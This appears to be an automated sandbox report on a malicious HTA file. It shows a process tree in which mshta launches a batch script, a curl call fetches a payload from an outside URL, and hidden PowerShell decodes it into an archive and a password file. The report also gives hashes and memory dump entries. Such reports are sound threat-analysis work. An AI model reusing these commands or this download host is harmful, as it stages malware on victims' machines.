Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/06/2026, 13:12

General

  • Target
    tmpqva60krw.hta
  • Size 3KB
  • Sample260601-qfhrlsfs7m
  • SHA256 e49192673cef8408ccb035343697a6109fd2cc128f2818744b1dffb72b846468
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\tmpqva60krw.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\help.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2492
      • C:\Windows\SysWOW64\net.exe
        net session
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4844
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 session
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3296
      • C:\Windows\SysWOW64\curl.exe
        curl -s "https://kak.is/get_it.php" -o "C:\Users\Public\Documents\data.json"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2444
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Web; $j=Get-Content 'C:\Users\Public\Documents\data.json' -Raw|ConvertFrom-Json; if($j.status -eq 'success'){[IO.File]::WriteAllBytes('C:\Users\Public\Documents\out.7z',[Convert]::FromBase64String($j.encoded_data)); Set-Content -Path 'C:\Users\Public\Documents\password.txt' -Value $j.password}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2104

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_qjk224af.geu.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjk224af.geu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        help.bat

        • Path C:\Users\Public\Documents\help.bat
        • Size 2KB
        • SHA256 58fb2dccb78634036edf6d227a90f31fa93ec61d1f092a7eef5a66a2e6f2c8d1
        • MD5 SHA1 SHA512 TLSH

        memory/2104-16-0x0000000006730000-0x000000000674E000-memory.dmp

        memory/2104-17-0x0000000006780000-0x00000000067CC000-memory.dmp

        memory/2104-7-0x0000000006190000-0x00000000061F6000-memory.dmp

        memory/2104-8-0x0000000006200000-0x0000000006266000-memory.dmp

        memory/2104-5-0x0000000005950000-0x0000000005F7A000-memory.dmp

        memory/2104-15-0x0000000006310000-0x0000000006667000-memory.dmp

        memory/2104-4-0x00000000052E0000-0x0000000005316000-memory.dmp

        memory/2104-6-0x0000000005FF0000-0x0000000006012000-memory.dmp

        memory/2104-18-0x0000000007E80000-0x00000000084FA000-memory.dmp

        memory/2104-19-0x0000000006C70000-0x0000000006C8A000-memory.dmp

        memory/2104-20-0x0000000008A30000-0x0000000008F5C000-memory.dmp

        memory/2104-21-0x0000000007B50000-0x0000000007BE6000-memory.dmp

        memory/2104-22-0x0000000007750000-0x0000000007772000-memory.dmp

        memory/2104-23-0x0000000009510000-0x0000000009AB6000-memory.dmp

        memory/2104-24-0x0000000008500000-0x00000000086C2000-memory.dmp